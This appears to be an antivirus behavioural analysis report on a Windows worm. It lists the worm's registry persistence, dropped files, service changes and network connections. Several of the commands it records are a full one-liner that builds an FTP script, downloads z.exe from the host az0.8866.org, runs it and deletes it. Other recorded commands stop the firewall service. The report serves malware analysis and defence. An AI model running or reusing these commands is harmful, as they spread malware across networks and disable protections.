Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'safe360' = '%CommonProgramFiles%\sfbsbvy\coiome.exe'
Creates or modifies the following files:
- %WINDIR%\Tasks\ILI7.exe
- %WINDIR%\Tasks\ILIn.vbe
Creates the following services:
- [<HKLM>\SYSTEM\ControlSet001\Services\LmHosts] 'Start' = '00000002'
- [<HKLM>\SYSTEM\ControlSet001\Services\RpcLocator] 'Start' = '00000002'
- [<HKLM>\SYSTEM\ControlSet001\Services\NtLmSsp] 'Start' = '00000002'
- [<HKLM>\SYSTEM\ControlSet001\Services\Browser] 'Start' = '00000002'
- [<HKLM>\SYSTEM\ControlSet001\Services\lanmanserver] 'Start' = '00000002'
- [<HKLM>\SYSTEM\ControlSet001\Services\lanmanworkstation] 'Start' = '00000002'
Malicious functions:
Creates and executes the following:
- %WINDIR%\Tasks\ILI7.exe 10.0.0.8 :
- %WINDIR%\Tasks\ILI7.exe 10.0.0.7 :
- %WINDIR%\Tasks\ILI7.exe 10.0.0.6 :
- %WINDIR%\Tasks\ILI7.exe 10.0.0.11 :
- %WINDIR%\Tasks\ILI7.exe 10.0.0.10 :
- %WINDIR%\Tasks\ILI7.exe 10.0.0.9 :
- %WINDIR%\Tasks\ILI7.exe 10.0.0.2 :
- %WINDIR%\Tasks\ILI7.exe 10.0.0.1 :
- %CommonProgramFiles%\sfbsbvy\coiome.exe
- %WINDIR%\Tasks\ILI7.exe 10.0.0.5 :
- %WINDIR%\Tasks\ILI7.exe 10.0.0.4 :
- %WINDIR%\Tasks\ILI7.exe 10.0.0.3 :
Executes the following:
- <SYSTEM32>\cscript.exe %WINDIR%\Tasks\ILIn.vbe 10.0.0.1 %USERNAME% "" "cmd /c @echo open az0.8866.org>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get z.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&z.exe&z.exe&del z.exe"
- <SYSTEM32>\cscript.exe %WINDIR%\Tasks\ILIn.vbe 10.0.0.2 %USERNAME% "" "cmd /c @echo open az0.8866.org>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get z.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&z.exe&z.exe&del z.exe"
- <SYSTEM32>\sc.exe delete JavaServe
- <SYSTEM32>\net1.exe start RpcLocator
- <SYSTEM32>\locator.exe
- <SYSTEM32>\net1.exe start NtLmSsp
- <SYSTEM32>\cscript.exe %WINDIR%\Tasks\ILIn.vbe 10.0.0.3 %USERNAME% "" "cmd /c @echo open az0.8866.org>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get z.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&z.exe&z.exe&del z.exe"
- <SYSTEM32>\cscript.exe %WINDIR%\Tasks\ILIn.vbe 10.0.0.5 %USERNAME% "" "cmd /c @echo open az0.8866.org>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get z.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&z.exe&z.exe&del z.exe"
- <SYSTEM32>\cscript.exe %WINDIR%\Tasks\ILIn.vbe 10.0.0.6 %USERNAME% "" "cmd /c @echo open az0.8866.org>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get z.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&z.exe&z.exe&del z.exe"
- <SYSTEM32>\sc.exe stop LYTC
- <SYSTEM32>\taskkill.exe /im iejore.exe /f
- <SYSTEM32>\cscript.exe %WINDIR%\Tasks\ILIn.vbe 10.0.0.4 %USERNAME% "" "cmd /c @echo open az0.8866.org>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get z.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&z.exe&z.exe&del z.exe"
- <SYSTEM32>\taskkill.exe /im conime.exe /f
- <SYSTEM32>\sc.exe config lanmanserver start= auto
- <SYSTEM32>\sc.exe config lanmanworkstation start= auto
- <SYSTEM32>\sc.exe config LmHosts start= auto
- <SYSTEM32>\mshta.exe "%PROGRAM_FILES%\SRK.hta"
- <SYSTEM32>\taskkill.exe /im coiome.exe /f
- <SYSTEM32>\sc.exe config Browser start= auto
- <SYSTEM32>\sc.exe config RpcLocator start= auto
- <SYSTEM32>\net1.exe start Browser
- <SYSTEM32>\net1.exe stop sharedaccess
- <SYSTEM32>\net1.exe start LmHosts
- <SYSTEM32>\sc.exe config NtLmSsp start= auto
- <SYSTEM32>\net1.exe start lanmanserver
- <SYSTEM32>\net1.exe start lanmanworkstation
Sets a new unauthorized home page for Windows Internet Explorer.
Modifies file system :
Creates the following files:
- \Device\LanmanRedirector\10.0.0.5\pipe\browser
- \Device\LanmanRedirector\10.0.0.4\pipe\browser
- \Device\LanmanRedirector\10.0.0.3\pipe\browser
- \Device\LanmanRedirector\10.0.0.6\pipe\browser
- \Device\LanmanRedirector\10.0.0.9\pipe\browser
- \Device\LanmanRedirector\10.0.0.7\pipe\browser
- \Device\LanmanRedirector\10.0.0.8\pipe\browser
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\b[1].jpg
- %CommonProgramFiles%\sfbsbvy\coiome.exe
- %PROGRAM_FILES%\SRK.hta
- %WINDIR%\Fonts\oo.ini
- \Device\LanmanRedirector\10.0.0.2\pipe\browser
- \Device\LanmanRedirector\10.0.0.1\pipe\browser
- %HOMEPATH%\Desktop\2345НшЦ·µјєЅ.url
Deletes the following files:
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\b[1].jpg
- %PROGRAM_FILES%\SRK.hta
Deletes itself.
Network activity:
Connects to:
- '<Private IP address>':445
- '<Private IP address>':135
- '<Private IP address>':139
- 'localhost':1035
- 'r.###6800.com':80
- 'tj.##16800.com':80
TCP:
HTTP GET requests:
- tj.##16800.com/t/Count.asp?ma################################
- r.###6800.com/b.jpg
UDP:
- DNS ASK tj.##16800.com
- DNS ASK r.###6800.com
- '<Private IP address>':1036
Miscellaneous:
Searches for the following windows:
- ClassName: '' WindowName: ''
- ClassName: 'Shell_TrayWnd' WindowName: ''
